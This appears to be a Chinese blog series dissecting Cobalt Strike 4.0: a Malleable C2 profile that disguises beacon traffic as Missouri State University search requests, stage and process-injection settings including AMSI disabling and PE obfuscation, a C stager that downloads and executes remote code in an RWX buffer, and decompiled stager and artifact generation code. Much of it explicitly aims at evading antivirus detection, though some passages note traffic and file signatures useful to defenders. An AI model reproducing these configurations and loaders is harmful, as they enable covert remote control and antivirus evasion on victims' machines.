parameter "eventsFilter" "campus:sgf"; //配置一些其他的请求参数和参数值
# parameter "mapFilter" "campus";
parameter "query" "my%20missouri%20state";
parameter "resultCounts" "5,3,3,3&";

}

server {
header "Cache-Control" "private";
header "Content-Type" "application/json; charset=utf-8";
header "Vary" "User-Agent,AcceptEncoding";
header "Server" "Microsoft-IIS/8.5";
header "BackendServer" "Handle";
header "X-UA-Compatible" "IE=edge";
header "Connection" "close";

output {
netbios; //通过netbios传输信息

prepend "[\"{\\\"results\\\":[\\\"{\\\\\\\"ID\\\\\\\":\\\\\\\"Missouri State University Foundation\\\\\\\",\\\\\\\"Name\\\\\\\":\\\\\\\"Missouri State University Foundation\\\\\\\",\\\\\\\"Url\\\\\\\":\\\\\\\"https://www.missouristatefoundation.org/\\\\\\\",\\\\\\\"Keywords\\\\\\\":";

append "\"\\\\\\\"development; endowment; foundation; Foundation, Missouri State; fundraising; missouri state foundation; missouri state university foundation\\\\\\\",\\\\\\\"UnitType\\\\\\\":\\\\\\\"Department\\\\\\\"}\\\",\\\"{\\\\\\\"ID\\\\\\\":\\\\\\\"Missouri State Outreach\\\\\\\",\\\\\\\"Name\\\\\\\":\\\\\\\"Missouri State Outreach\\\\\\\",\\\\\\\"Url\\\\\\\":\\\\\\\"https://outreach.missouristate.edu/\\\\\\\",\\\\\\\"Keywords\\\\\\\":\\\\\\\"distance learning; dual credit; evening; extended campus; Extended Campus (now Missouri State Outreach); i courses; i-courses; icourses; interactive video; itv; non credit; non-credit; noncredit; off campus; off-campus; offcampus; online; outreach; Outreach, Missouri State\\\\\\\"}\"]";

print;
}
}
}

​ 通过上面对于http-post的配置,我们可以看到通过post的方式请求getsearchresults这个uri,并且在请求中加入了site_indexFilter字段,这个字段用来传输命令执行的结果。通过peopleFilter这个字段来返回beacon client对应的id。并且加上了query和resultCounts这两个参数,不过这两个参数的内容都是写死的。最后在server部分我们配置了返回的内容。我们使用wireshark来看下请求的内容与我们的配置是否一致

image-20200902180954689

​ 下面我们配置http-stager的信息,我们可以在下面的代码块中定义自己下载stage的行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
###HTTP-Stager Block###
http-stager {

set uri_x86 "/Events"; //当下在x86的stage时,请求的uri
set uri_x64 "/events"; //当下在x64的stage时,请求的uri

client {
header "Host" "search.missouristate.com";
header "Accept" "*/*";
header "Accept-Language" "en";
header "Connection" "close";

#parameter "test1" "test2";
}

server { //配置server返回stage的格式
header "Cache-Control" "private";
header "Content-Type" "private";
header "Vary" "User-Agent";
header "Server" "Microsoft-IIS/8.5";
header "BackendServer" "Handle";
header "X-UA-Compatible" "IE=edge";
header "Connection" "close";
header "Set-Cookie" "WWW-SERVERID=handle; path=/";

output { //对输出的内容进行配置,这里并没有加上其他的处理

#prepend "content=";

#append "</script>\n";
print;
}

}
}

​ 通过上面的HTTP-Stager的配置后,当stager去请求下载stage时,请求/Events这个uri,并且host的内容都和我们设置的在HTTP-Stager的client中配置的一致。再看看返回包中的内容,请求头中的内容也和我们配置的server部分一致。

image-20200902172033813

​ 再看看可扩展的pe和躲避杀软的模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
###Malleable PE/Stage Block###
stage {
set checksum "0"; //PE头里checksum的值
set compile_time "23 Nov 2018 02:25:37"; //beacon pe头中显示的编译的时间
set entry_point "170000"; //beacon pe头中设置的入口点
#set image_size_x86 "6586368"; //x86 PE头里写的镜像大小
#set image_size_x64 "6586368"; //x64 PE头里写的镜像大小
#set name "WWanMM.dll"; // beacon dll 导出的名字
set userwx "false"; //反射加载时是否要把内存设置为可读可写可执行
set cleanup "true"; //如果选择是则尝试释放反射加载的dll的内存
set sleep_mask "true"; //是否在sleep前在内存中混淆beacon
set stomppe "true"; //
set obfuscate "true"; //是否混淆反射调用dll的导入表,覆盖无用的header内容,请求反射加载器copy beacon到新的内存没有dll头
set rich_header ""; //编译器插入的元信息

set sleep_mask "true"; //是否在sleep前在内存中混淆beacon

set module_x86 "wwanmm.dll"; //加载一个dll,然后用beacon去覆盖它分配的空间,而不是用VirtualAlloc去分配内存
set module_x64 "wwanmm.dll";

transform-x86 {
prepend "\x90\x90\x90"; // 在beacon 反射调用dll之前插入一些数据
strrep "ReflectiveLoader" "";
strrep "beacon.dll" ""; // 查找并替换字符串
}

transform-x64 {
prepend "\x90\x90\x90";
strrep "ReflectiveLoader" "";
strrep "beacon.x64.dll" "";
}

#string "something"; //添加字符串
#data "something";
#stringw "something"; //添加UTF-16字符串
}

​ 在看看进程注入的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
###Process Inject Block###
process-inject {

set allocator "NtMapViewOfSection"; //在远程进程中分配内存的方式,有两种方式VirtualAllocEx和NtMapViewOfSection,VirtualAlloc是Windows提供的API,通常用来分配大块的内存。例如如果想在进程A和进程B之间通过共享内存的方式实现通信,可以使用该函数(这也是较常用的情况)。利用NtMapViewOfSection在远程进程地址空间写入代码,并且用一种新的技术在远程进程中执行它,这种技术完全工作在用户模式下,并且不需要特殊的条件比如像管理员权限或者之类的要求
set min_alloc "16700"; //最小的分配内存的大小

set userwx "false"; ////是否使用rwx作为代码内存的默认权限,默认rx

set startrwx "false"; //是否使用rwx作为代码内存的默认权限,默认rx

transform-x86 {
prepend "\x90\x90\x90";
}
transform-x64 {
prepend "\x90\x90\x90";
}

execute {
CreateThread "ntdll!RtlUserThreadStart"; //进程可以在其他的进程中创建一个线程
CreateThread;
NtQueueApcThread; //通过NtQueueApcThread实现APC注入
CreateRemoteThread;
RtlCreateUserThread; //创建远程线程的一种技术
}
}

​ 我们再来看看post-ex块,这个模块用来控制后渗透的行为

1
2
3
4
5
6
7
8
9
10
11
12
13
###Post-Ex Block###
post-ex {

set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe"; //派生后渗透功能的默认临时进程
set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";

set obfuscate "true"; //对dll的内容进行加密,并且将post-ex功能建立到内存中,

set smartinject "true"; //提示beacon将关键的函数指针嵌入到相同架构的post-ex dll中

set amsi_disable "true"; //关闭amsi,AMSI(Antimalware Scan Interface), 即反恶意软件扫描接口。在Windows Server 2016和Win10上默认安装并启用。

}

总结

​ 通过上面的学习,大家应该了解了关于Malleable C2 Profile文件编写的基本的方法,可以根据自己的需要编写自己的Malleable C2 Profile文件,当然我们得知道编写profile文件的目的是为了尽量去模拟正常的网站访问流量。

参考文章

[RED_TEAM] Cobalt Strike 4.0+ Malleable C2 Profile Guideline

CobaltStrike4.0用户手册_中文翻译

​ 之前我们了解了关于cobaltstrike shell生成的过程,接下来我们一起了解一下cobaltstrike的stager具体是如何工作的,它在目标主机执行后是如何和我们的服务端进行通信的。

基本概念

​ 在我们分析cobaltstrike的通信过程之前,首先需要了解cobaltstrike的一些基本概念

Staged Payloads

​ 执行payload的方式分为两种,一种是分阶段加载(Staged)和不分阶段加载(STAGELESS )。当使用分阶段加载的方式时,一般把程序分为两个部分,stager和stage,stager通常是一个代码量非常小的精简过的汇编代码,它的作用非常简单,就是用来下载stage并载入到内存,也就是主要完成下载远程的stage文件和分配内存将stage加载到内存并执行的功能。在cobaltstrike的官方博客中,给出了一个简单的stager的代码,主要通过C语言实现,通过wsconnect来和远程的地址建立socket通信,下载远程的文件分配内存并载入到内存,最后通过函数指针的形式来进行调用。之所以这么做主要是为了解决payload大小限制的问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* connect to the handler */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));

/* read the 4-byte length */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0) punt(my_socket, "read a strange or incomplete length value\n"); /* allocate a RWX buffer */ buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) punt(my_socket, "could not allocate buffer\n"); /* prepend a little assembly to move our SOCKET value to the EDI register thanks mihi for pointing this out BF 78 56 34 12 => mov edi, 0x12345678 */
buffer[0] = 0xBF;

/* copy the value of our socket to the buffer */
memcpy(buffer + 1, &my_socket, 4);

/* read bytes into the buffer */
count = recv_all(my_socket, buffer + 5, size);

/* cast our buffer as a function and call it */
function = (void (*)())buffer;
function();

​ 我们再了解一下为什么要使用分阶段的方式呢?根据作者的描述有以下几点

  • 为了解决文件文件大小的问题,另一方面为了和Metasploit兼容
  • 通常stager作为一个加载器并没有做安全处理,而stage则会做比较好的处理,一般如果别人捕获了stager样本并不会造成什么影响。所以使用分阶段的形式也是为了保护stage

stageless payload

​ stageless payload顾名思义就是无阶段payload,那么既然我们已经介绍了关于使用分阶段执行payload的好处,为什么还要再去使用无阶段执行payload呢?原因是在内网横向渗透的过程中,因为目标内网的主机可能无法和外网通信,这个时候如果还使用分阶段执行,目标内网的断网机将无法下载到stage。所以在内网渗透的过程中一般使用的是无阶段的payload。

beacon

​ beacon运行在目标主机的用于远程控制的payload,主要用来实现稳定控制目标的功能,并不会实时和cobaltstrike服务端通信,在一段时间后会去检测是否有任务,如果有任务,beacon就会下载任务并且执行。当存在任务时,beacon一般会通过http去输出请求结果,可以通过http或者dns来检查是否有任务。

beacon通信分析

staged payload

​ 我使用wireshark进行分析,当我执行cobaltstrike生成的分阶段执行的payload时,首先会发起一个http请求,他会请求我们建立的listener端口,返回一个很大的内容

image-20200901182559711

​ 这个请求我们也可以在web日志中查看到

image-20200901182724592

​ 通过我们之前对分阶段执行payload的了解,我们可以知道这个是去请求stage的请求,我手工请求了以下这个地址,并且将下载后的文件保存为dll文件,将这个dll文件和beacon.dll文件进行对比,发现这两个文件大小基本一致,因此基本可以确定这个请求的开始是加载了beacon.dll这个文件。

​ 继续看其他请求包,我们发现当通过get请求activity这个路径,会刷新beacon的时间。

image-20200901193704075

​ 我尝试在和beacon进行交互,执行一个ipconfig命令,再抓包进行分析,当要执行命令时,我们可以看到当去请求activity这个路径时,已经有了返回内容

image-20200901194454763

​ 我们再看下一个包, 可以看到beacon向服务端发起一个post请求,路径为submit.php,并且带有id参数,请求内容为加密后的内容。

image-20200901194558581

​ 我尝试进行文件操作,发现传输返回结果还是通过向服务端以post形式请求submit.php。所以看到这里大家知道为什么我们明明免杀都过了,一执行就会被360干掉了,我如果是360,我也知道看有没有通过请求active和submit提交一些加密代码来判断是不是cs的shell了,所以做免杀的时候一定要去改流量特征。

stageless payload

​ 我们再生成一个无阶段的payload执行,再看看通信的流程。

​ 当我执行生成的无阶段的payload时,我发现并没有发送其他包,而是只发送了一个get请求请求match这个路径。当请求了match这个路径,服务端的延时就会刷新一次,所以我们知道这个请求是获取服务端执行命令的请求。

image-20200901195732678

​ 当我们执行ipconfig这个命令后,通过抓包分析,我们发现match会返回一个结果,这个就是需要执行的命令。

image-20200901200101283

​ 再看这个请求的下一个数据包,会去请求submit.php,去传递命令执行的结果

image-20200901200145700

​ 所以我们可以知道再cobaltstrike4.0中,如果使用无阶段的payload放到目标主机执行,会在请求过程中发送大量请求match和submit.php的数据包,这个就可以当作一个流量特征来进行处理。

总结

​ 通过关于beacon的流量分析,我们应该了解了关于beacon通信和加载的方式,也应该明白了为什么我们使用CobaltStrike一定要改流量特征了吧。

参考文章

Staged Payloads – What Pen Testers Should Know

What is a stageless payload artifact?

​ 可能我们在后渗透阶段使用CobaltStrike使用的是比较多的,关于一款工具,我们不仅仅只能停留在如何使用它,我们也应该了解一下它实现的原理,本文将带着大家和我一起学习关于CoblatStrike这款工具shell生成的过程还有执行流程。我这里是以CobaltStrike4.0为例来进行分析的。

​ 首先我们将CobaltStrike导入到IDEA中,对着CobaltStrike.jar右键选择-add as libirary,那样我们就可以在IDEA中查看这个包反编译的代码,IDEA反编译代码的还原度还是非常高的。

image-20200831173535104

payload generator

​ CobaltStrike所有的ui在aggressor\dialogs\目录下,因此我们如果想要知道在我们点击了某个按键后CobaltStrike执行了什么操作,在这个目录下找就可以了,因为我们想查看在生成paylad的时候执行了什么操作,因此找payload generator就可以了,我们先看一下dialogAction这个方法中的逻辑。

image-20200831174257725

​ 这个逻辑我们根据生成payload的窗口可能更好理解一些,我把我的分析写到注释里

image-20200831174544179

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void dialogAction(ActionEvent var1, Map var2) {
this.options = var2;
boolean var3 = DialogUtils.bool(var2, "x64"); //判断是否生成x64的payload
String var4 = DialogUtils.string(var2, "listener"); //接收listener的值
this.stager = ListenerUtils.getListener(this.client, var4).getPayloadStager(var3 ? "x64" : "x86"); //首先调用getListener获取到Listener,再调用getPayloadStager获取stager
if (this.stager.length == 0) { //判断stager是否生成成功,如果为空,则报错
if (var3) {
DialogUtils.showError("No x64 stager for listener " + var4);
} else {
DialogUtils.showError("No x86 stager for listener " + var4);
}

} else {
Map var5 = DialogUtils.toMap("ASPX: aspx, C: c, C#: cs, HTML Application: hta, Java: java, Perl: pl, PowerShell: ps1, PowerShell Command: txt, Python: py, Raw: bin, Ruby: rb, COM Scriptlet: sct, Veil: txt, VBA: vba"); //将内容转换为Map形式
String var6 = DialogUtils.string(var2, "format"); //从var2这个hashmap中获取键为format对应的值
String var7 = "payload." + var5.get(var6); //拼接内容大概是payload.format
SafeDialogs.saveFile((JFrame)null, var7, this); //调用save方法
}
}

​ 我们将下面这句代码扩展分析一下,getListener故名思意就是获取Listener,跟进去后发现会返回一个SCListener对象。

1
this.stager = ListenerUtils.getListener(this.client, var4).getPayloadStager(var3 ? "x64" : "x86");

image-20200831181115893

​ 我们主要关注一下getPayloadStager是如何运行的,跟进后发现getPayloadStager仅仅返回了Stagers.shellcode的执行结果

image-20200831181157627

​ 跟进shellcode方法,执行了两个操作,首先调用resolve方法进行解析,返回一个GenericStager对象,再调用这个对象的generate方法。

image-20200831181808133

​ 跟进resolve看看执行了什么操作,在if中会判断var3是否是x86结构,如果是将this.x86_stagers赋值给var4,再判断var6是否包含var2关键字,如果包含,则调用create方法。

image-20200831191822995

​ 我们先看看x86_stagers是怎么来的,在Stagers类的开始创建了X86_stagers和x64_stagers,并且调用了Stagers()这个构造方法,我们可以看到在这个方法中调用了add方法来执行操作

image-20200831192312035

​ 再跟进去看看add方法执行了什么操作,首先通过掉用TestAech方法判断是否含有x86或x64,如果正常以后再判断是否是x86,如果是则向x86_stagers则以键值对的形式写入内容,如果不是则向x64_stagers写入内容。

image-20200831192737834

​ 我们选择一个BeaconHTTPStagerX86来看看,payload函数执行了什么操作,通过下面的代码可以看到返回了windows/beacon_http/reverse_http,其他的payload函数返回的内容类似,就不一一举例了。

image-20200831193156043

​ 那么var1的内容是什么呢?还是以http x86的stager为例,我们发现它是new BeaconHTTPStagerX86()后返回的结果。

image-20200831203310084

​ 那么BeaconHTTPStagerX86在构造方法中又做了什么操作呢,我们通过下面的代码可以看到它调用了父类GenericHTTPStagerX86的构造方法

image-20200831203430325

​ 跟进GenericHTTPStagerX86的构造方法,发现其又调用了父类GenericHTTPStager的构造方法

image-20200831203519702

​ 跟进GenericHTTPStager的构造方法,发现其又调用了父类GenericStager的构造方法

image-20200831203558124

​ 在GenericStager方法中,可以看到其实什么也没做

image-20200831203712286

​ 最后其实比较关键的代码是调用了generate方法

image-20200831203932934

​ 因为我的listener是http x86的listener,所以最终调用stagers\GenericHTTPStager.class的generate方法如下,

image-20200831204215357

​ 在该代码种首先通过resouce方法加载资源,资源文件,资源文件是通过getStagetFile()获得的,在GenericHTTPStager.class中的getStagetFile是一个抽象方法,而且GenericHTTPStager也是一个抽象类,所以我们要在继承了GenericHTTPStager的子类中寻找getStagetFile的实现,最终在GenericHTTPStagerX86找到了getStagetFile的实现,是加载resources/httpstager.bin文件

image-20200901094550546

​ 下面的代码中,读取httpstager.bin文件的内容,并且对其中的某些值进行替换,httpstager.bin其实就是shellcode生成的一个模板文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public byte[] generate() {
try {
InputStream var1 = CommonUtils.resource(this.getStagerFile()); //读取httpstager.bin的内容
byte[] var2 = CommonUtils.readAll(var1);
String var3 = CommonUtils.bString(var2); //从byte类型转换为字符串类型
var1.close();
var3 = var3 + this.getListener().getStagerHost() + '\u0000'; //从option中获取host
Packer var4 = new Packer(); //类中内置了对于字符串,字节,hex等处理的方法
var4.little(); //字节顺序,决定大端字节和小端字节的读取问题
var4.addShort(this.getListener().getPort()); //从option中获取port值
AssertUtils.TestPatchS(var2, 4444, this.getPortOffset()); //判断getPortOffset的对应的值是否是4444
var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getPortOffset()); //将4444替换为option设置的端口地址
var4 = new Packer();
var4.little();
var4.addInt(1453503984); //exit对应的偏移地址
AssertUtils.TestPatchI(var2, 1453503984, this.getExitOffset());
var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getExitOffset()); //exit对应的偏移地址替换,不过这个看起来默认是没变的
var4 = new Packer();
var4.little();
var4.addShort(this.getStagePreamble());//在getStagePreamble中判断是否为forign类型,如果不是,则返回stage_offset。
AssertUtils.TestPatchS(var2, 5555, this.getSkipOffset()); //判断getSkipOffset的返回值是否是5555
var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getSkipOffset()); //将stage_offset的值进行替换
var4 = new Packer();
var4.little();
var4.addInt(this.getConnectionFlags()); //判断是否是https
AssertUtils.TestPatchI(var2, this.isSSL() ? -2069876224 : -2074082816, this.getFlagsOffset());
var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getFlagsOffset());
String var5;
if (CommonUtils.isin(CommonUtils.repeat("X", 303), var3)) {
var5 = this.getConfig().pad(this.getHeaders() + '\u0000', 303);
var3 = CommonUtils.replaceAt(var3, var5, var3.indexOf(CommonUtils.repeat("X", 127))); //将hreader中的值进行替换
}

int var6 = var3.indexOf(CommonUtils.repeat("Y", 79), 0);
var5 = this.getConfig().pad(this.getURI() + '\u0000', 79);
var3 = CommonUtils.replaceAt(var3, var5, var6); //从config中获取url的值,并进行替换
return CommonUtils.toBytes(var3 + this.getConfig().getWatermark()); //以字节数组的形式返回
} catch (IOException var7) {
MudgeSanity.logException("HttpStagerGeneric: " + this.getStagerFile(), var7, false);
return new byte[0];
}
}

​ 通过上面的分析,我们可以看出来,这里所作的操作就是读取httpstager.bin这个模板文件,然后对模板文件中的请求地址,请求头等地方进行替换。

​ 再回到aggressor\dialogs\PayloadGeneratorDialog.class中,我们看下dialogResult方法,这个方法会针对我们选择不同的shellcode的生成类型,将stager转换为不同的类型,最后写入到文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public void dialogResult(String var1) {
String var2 = DialogUtils.string(this.options, "format");
boolean var3 = DialogUtils.bool(this.options, "x64");
String var4 = DialogUtils.string(this.options, "listener");
if (var2.equals("C")) {
this.stager = Transforms.toC(this.stager);
} else if (var2.equals("C#")) {
this.stager = Transforms.toCSharp(this.stager);
} else if (var2.equals("Java")) {
this.stager = Transforms.toJava(this.stager);
} else if (var2.equals("Perl")) {
this.stager = Transforms.toPerl(this.stager);
} else if (var2.equals("PowerShell") && var3) {
this.stager = (new ResourceUtils(this.client)).buildPowerShell(this.stager, true);
} else if (var2.equals("PowerShell") && !var3) {
this.stager = (new ResourceUtils(this.client)).buildPowerShell(this.stager);
} else if (var2.equals("PowerShell Command") && var3) {
this.stager = (new PowerShellUtils(this.client)).buildPowerShellCommand(this.stager, true);
} else if (var2.equals("PowerShell Command") && !var3) {
this.stager = (new PowerShellUtils(this.client)).buildPowerShellCommand(this.stager, false);
} else if (var2.equals("Python")) {
this.stager = Transforms.toPython(this.stager);
} else if (!var2.equals("Raw")) {
if (var2.equals("Ruby")) {
this.stager = Transforms.toPython(this.stager);
} else if (var2.equals("COM Scriptlet")) {
if (var3) {
DialogUtils.showError(var2 + " is not compatible with x64 stagers");
return;
}

this.stager = (new ArtifactUtils(this.client)).buildSCT(this.stager);
} else if (var2.equals("Veil")) {
this.stager = Transforms.toVeil(this.stager);
} else if (var2.equals("VBA")) {
this.stager = CommonUtils.toBytes("myArray = " + Transforms.toVBA(this.stager));
}
}

CommonUtils.writeToFile(new File(var1), this.stager);
DialogUtils.showInfo("Saved " + var2 + " to\n" + var1);
}

​ 我们以C#为例来进行分析,主要代码如下

1
2
if (var2.equals("C#")) {
this.stager = Transforms.toCSharp(this.stager);

​ 跟进toCSharp方法,创建了一个Packer对象,添加了stager长度的字符串,再添加了stager字节数组的字符串。

image-20200901115643729

​ 最后再将生成的shellcode写入文件。

image-20200901115942287

​ 好了,关于payload generator的过程就分析到这里,可能由于个人水平有限,在静态代码分析的功底有限,有些地方可能分析的不对,不过这里大致的流程分析是没有问题的。主要是在stager生成这里,将httpstager.bin模板里的关于监听主机和端口以及uri的位置进行了替换和修改,然后根据不同的类型写入文件。所以如果要免杀,其实有一个思路也是可以将这个httpstager.bin的内容分析出来,将有特征的部分进行更改。

windows executable

​ windows executable是在WindowsExecutableDialog.class中进行处理的,其中关于stager生成的部分和payload generator相同,就不分析了,再看下dialogResult方法,先看下windows exe是怎么处理的,这里主要是调用了patchArtifact方法来进行处理,我们看下这个方法是做什么的。

image-20200901133939693

​ 跟进patchArtifact,发现内部还调用了patchArtifact方法

image-20200901134326360

​ 继续跟进

1
2
3
4
5
6
7
public byte[] patchArtifact(byte[] var1, String var2) {
Stack var3 = new Stack();
var3.push(SleepUtils.getScalar(var1));
var3.push(SleepUtils.getScalar(var2));
String var4 = this.client.getScriptEngine().format("EXECUTABLE_ARTIFACT_GENERATOR", var3);
return var4 == null ? this.fixChecksum(this._patchArtifact(var1, var2)) : this.fixChecksum(CommonUtils.toBytes(var4));
}

​ 主要看下_patchArtifact的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public byte[] _patchArtifact(byte[] var1, String var2) {
try {
InputStream var3 = CommonUtils.resource("resources/" + var2); //我这里var2是artifact64.exe,所以这里加载的是resources/artifact64.exe
byte[] var4 = CommonUtils.readAll(var3); //读取artifact64.exe的内容
var3.close();
byte[] var5 = new byte[]{(byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254)};
byte[] var6 = new byte[var1.length];

for(int var7 = 0; var7 < var1.length; ++var7) {
var6[var7] = (byte)(var1[var7] ^ var5[var7 % 4]);
}

String var12 = CommonUtils.bString(var4);
int var8 = var12.indexOf(CommonUtils.repeat("A", 1024));//找到存在1024个A的位置
Packer var9 = new Packer();
var9.little();
var9.addInteger(var8 + 16);
var9.addInteger(var1.length); //写入stager的长度
var9.addString(var5, var5.length); // 写入随机字符
var9.addString("aaaa", 4);
var9.addString(var6, var6.length); //写入stager内容
if (License.isTrial()) {
var9.addString("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*");
CommonUtils.print_trial("Added EICAR string to " + var2);
}

byte[] var10 = var9.getBytes();
var12 = CommonUtils.replaceAt(var12, CommonUtils.bString(var10), var8);
return CommonUtils.toBytes(var12);
} catch (IOException var11) {
MudgeSanity.logException("patchArtifact", var11, false);
return new byte[0];
}
}

​ 总结一下上面的过程,主要就是将1024个A的地址进行替换,替换为随机字符和stager。

​ 用010 editor打开artifact64.exe文件,发现确实是有很多A

image-20200901140702963

​ 我们再尝试生成一个x64的exe,用010 editor再看看里面的内容,我们可以看到在某处的开头是有aaaa,并且在最后还有一些大写的A,所以这两个点都可以当作CobaltStrike默认生成的exe的特征。

image-20200901142122258

image-20200901142214196

​ 我再看了下dll和service类型的生成方式,发现最终都调用了_patchArtifact方法,因此他们这些模板文件中也都包含了1024个A,并且在替换的过程中首先也会写入四个a,我们以dll为例再看看。

image-20200901143237412

image-20200901143245238

​ 那我们猜想一下,关于这个特征查杀是也可以根据首先出现4个a,在1024个字符以内,又同时出现10个A来进行检测呢?

windows executables

​ 还有一种形式,我们在使用privote生成shellcode常用到,那就是windows executables生成的是stagerless类型,这种形式的生成是在WindowsExecutableStageDialog.class文件中

​ 首先看下dialogAction中的代码,我们可以看到和payload generator和windows executable的形式不同,executables中并没有在这个方法中生成stager。

image-20200901144358493

​ 再看下dialogResult方法,和其他的方式不同,它也获取了SCListener,并通过调用export方法

image-20200901144705204

​ 我们跟进export方法,export的代码如下,他根据payload的类型,调用了不同的方法,我们以最基本的http_reverse为例进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public byte[] export(String var1, int var2) {
if ("windows/foreign/reverse_http".equals(this.getPayload())) {
return this.getPayloadStager(var1);
} else if ("windows/foreign/reverse_https".equals(this.getPayload())) {
return this.getPayloadStager(var1);
} else if ("windows/beacon_http/reverse_http".equals(this.getPayload())) {
return (new BeaconPayload(this, var2)).exportBeaconStageHTTP(this.getPort(), this.getCallbackHosts(), false, false, var1);
} else if ("windows/beacon_https/reverse_https".equals(this.getPayload())) {
return (new BeaconPayload(this, var2)).exportBeaconStageHTTP(this.getPort(), this.getCallbackHosts(), false, true, var1);
} else if ("windows/beacon_dns/reverse_dns_txt".equals(this.getPayload())) {
return (new BeaconPayload(this, var2)).exportBeaconStageDNS(this.getPort(), this.getCallbackHosts(), true, false, var1);
} else if ("windows/beacon_bind_pipe".equals(this.getPayload())) {
return (new BeaconPayload(this, var2)).exportSMBStage(var1);
} else if ("windows/beacon_bind_tcp".equals(this.getPayload())) {
return (new BeaconPayload(this, var2)).exportBindTCPStage(var1);
} else if ("windows/beacon_reverse_tcp".equals(this.getPayload())) {
return (new BeaconPayload(this, var2)).exportReverseTCPStage(var1);
} else {
AssertUtils.TestFail("Unknown payload '" + this.getPayload() + "'");
return new byte[0];
}
}

​ 我们发现其调用了exportBeaconStageHTTP方法,跟进这个方法,首先判断架构,再根据架构的不同给var6进行赋值,最后调用了exportBeaconStage方法

1
2
3
4
5
6
7
8
9
10
11
public byte[] exportBeaconStageHTTP(int var1, String var2, boolean var3, boolean var4, String var5) {
AssertUtils.TestSetValue(var5, "x86, x64");
String var6 = "";
if ("x86".equals(var5)) {
var6 = "resources/beacon.dll";
} else if ("x64".equals(var5)) {
var6 = "resources/beacon.x64.dll";
}

return this.pe.process(this.exportBeaconStage(var1, var2, var3, var4, var6), var5);
}

​ 跟进exportBeaconStage方法,这个方法比较长,我会把简单的分析写在注释中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
protected byte[] exportBeaconStage(int var1, String var2, boolean var3, boolean var4, String var5) {
try {
long var6 = System.currentTimeMillis();
byte[] var8 = SleevedResource.readResource(var5); //获取sleeve/beacon.dll的内容
if (var2.length() > 254) {
var2 = var2.substring(0, 254);
}

String[] var9 = this.c2profile.getString(".http-get.uri").split(" "); //加载配置文件中.http-get.uri的值
String[] var10 = var2.split(",\\s*");
LinkedList var11 = new LinkedList();

for(int var12 = 0; var12 < var10.length; ++var12) {
var11.add(var10[var12]);
var11.add(CommonUtils.pick(var9));
}

String var32;
while(var11.size() > 2 && CommonUtils.join(var11, ",").length() > 255) {
var32 = var11.removeLast() + "";
String var13 = var11.removeLast() + "";
CommonUtils.print_info("dropping " + var13 + var32 + " from Beacon profile for size");
}

var32 = randua(this.c2profile);
int var33 = Integer.parseInt(this.c2profile.getString(".sleeptime")); //加载配置文件的sleeptime的值
String var14 = CommonUtils.pick(this.c2profile.getString(".http-post.uri").split(" "));
byte[] var15 = this.c2profile.recover_binary(".http-get.server.output");
byte[] var16 = this.c2profile.apply_binary(".http-get.client");
byte[] var17 = this.c2profile.apply_binary(".http-post.client");
int var18 = this.c2profile.size(".http-get.server.output", 1048576);
int var19 = Integer.parseInt(this.c2profile.getString(".jitter"));
if (var19 < 0 || var19 > 99) {
var19 = 0;
}

int var20 = Integer.parseInt(this.c2profile.getString(".maxdns"));
if (var20 < 0 || var20 > 255) {
var20 = 255;
}

int var21 = 0;
if (var3) {
var21 |= 1;
}

if (var4) {
var21 |= 8;
}

long var22 = CommonUtils.ipToLong(this.c2profile.getString(".dns_idle"));
int var24 = Integer.parseInt(this.c2profile.getString(".dns_sleep"));
Settings var25 = new Settings();
var25.addShort(1, var21);
var25.addShort(2, var1);
var25.addInt(3, var33);
var25.addInt(4, var18);
var25.addShort(5, var19);
var25.addShort(6, var20);
var25.addData(7, this.publickey, 256);
var25.addString(8, CommonUtils.join(var11, ","), 256);
var25.addString(9, var32, 128);
var25.addString(10, var14, 64);
var25.addData(11, var15, 256);
var25.addData(12, var16, 256);
var25.addData(13, var17, 256);
var25.addData(14, CommonUtils.asBinary(this.c2profile.getString(".spawnto")), 16);
var25.addString(29, this.c2profile.getString(".post-ex.spawnto_x86"), 64);
var25.addString(30, this.c2profile.getString(".post-ex.spawnto_x64"), 64);
var25.addString(15, "", 128);
var25.addShort(31, QuickSecurity.getCryptoScheme());
var25.addInt(19, (int)var22);
var25.addInt(20, var24);
var25.addString(26, this.c2profile.getString(".http-get.verb"), 16);
